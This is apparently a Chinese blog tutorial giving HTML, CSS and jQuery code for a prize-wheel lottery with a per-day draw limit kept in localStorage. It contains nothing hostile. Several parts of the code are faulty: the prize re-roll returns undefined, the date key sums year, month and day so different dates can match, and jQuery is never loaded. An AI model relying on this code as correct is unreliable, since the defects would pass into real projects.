用到的资源可以去我的githup下载

实现后的效果如下图

html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>抽奖</title>
<link href="style/index.css" rel="stylesheet" type="text/css" />
<script src="js/index.js"></script>
</head>

<body>
<div class="lotteryBox">
<div class="plateBox"></div>
<div class="handBox"></div>
</div>
</body>
</html>

css

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@charset "utf-8";
/* CSS Document */
.lotteryBox{
position:relative;
}
.plateBox{
width:500px;
height:500px;
background:url(../img/plate.png) no-repeat;
}
.handBox{
width:500px;
height:500px;
background:url(../img/hand.png) no-repeat;
position:absolute;
top:0px;
left:0px;
}

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
/*
每天抽奖次数限制

*/
var haveprize=0;
$(function(){
$(".plateBox").css("transform-origin","50% 50%");
$(".plateBox").css("transform","rotate(0deg)");
//添加抽奖事件
addevent();

})
/*开始抽奖函数,参数为中奖编号*/
function plateBoxPlay(code){
deleteevent();//暂时删除抽奖事件
//设置角度间隔
var $plateBox=$(".plateBox");
var angle=360/8;
var thiscode=code-1;
//生成随机圈数
var number_turns=Math.ceil(Math.random()*5);
//获取修正角度
var thisspare=getdeg($plateBox)%360;
//计算旋转角度
var this_turns=parseInt(number_turns*360-thiscode*angle-thisspare);
//调用动画
play_animate($plateBox,this_turns,code);
}
//获取当前转盘角度
function getdeg($box){
var style=$box[0].style.transform;
console.log(style);
//角度取值
var thisdeg=parseInt(style.match(/rotate\(([^)]+)\)/)[1]);
return thisdeg;
}
//抽奖动画
function play_animate($box,turns,code){
//动画初始化
var thisdeg=getdeg($box);
var targetturns=thisdeg+turns;

var timer=setInterval(function(){
var thisdeg=getdeg($box);
//设置速度
var speed=Math.ceil((targetturns-thisdeg)/10);
//本次旋转角度
var playdeg=thisdeg+speed;
//设置角度
$box.css("transform","rotate("+playdeg+"deg)");
//console.log(playdeg);
//判定结束
if(thisdeg>=targetturns){
clearInterval(timer);
alert("您抽中了"+code+"等奖!");
addevent();//重新添加抽奖事件
}
},100);


}
//添加事件
function addevent(){
$(".handBox").on("click",function(){
//设置抽奖次数,0为不限次
var runnumber=0;
if(runNumb(runnumber)){
//执行抽奖函数
plateBoxPlay(prize());
}else{
alert("对不起!您今天已经抽了"+runnumber+"次了,请明天再试!");
}

})
}
//删除事件
function deleteevent(){
$(".handBox").off("click");
}

//每天限制次数函数,参数为限制的次数
function runNumb(nmb){
//获取日期
var thisdate=getdate();
//返回值
var code=true;
//抽奖记录
var thisRuncode={date:thisdate,runcode:0}
//判断是否有本地数据
if(window.localStorage["runcode"]){
//数据转换
var Runcode=JSON.parse(window.localStorage["runcode"]);
//判断是否当天
if(Runcode.date==thisdate){
if(nmb==0){
}else if(Runcode.runcode>=nmb){
code=false;
}else{
thisRuncode={date:thisdate,runcode:Runcode.runcode+1};
addlocalStorage(thisRuncode);
}
}else{
addlocalStorage(thisRuncode);
}
}else{

addlocalStorage(thisRuncode);
}
return code;
}
//本地存储函数
function addlocalStorage(thisRuncode){
window.localStorage["runcode"]=JSON.stringify(thisRuncode);
}
//获取日期函数
function getdate(){
var thisdate=new Date();
var thisdy=thisdate.getYear()+thisdate.getMonth()+1+thisdate.getDate();
return thisdy;
}
//随机抽奖刷新一次页面只能抽一次1等奖,返回值为奖项序号
function prize(){
var thisprize=Math.ceil(Math.random()*8);
if(thisprize==1){
if(haveprize==thisprize){
prize();
}else{
haveprize=thisprize;
return thisprize;
}
}else{
return thisprize;
}

}

尾声

如有问题欢迎留言,会及时回复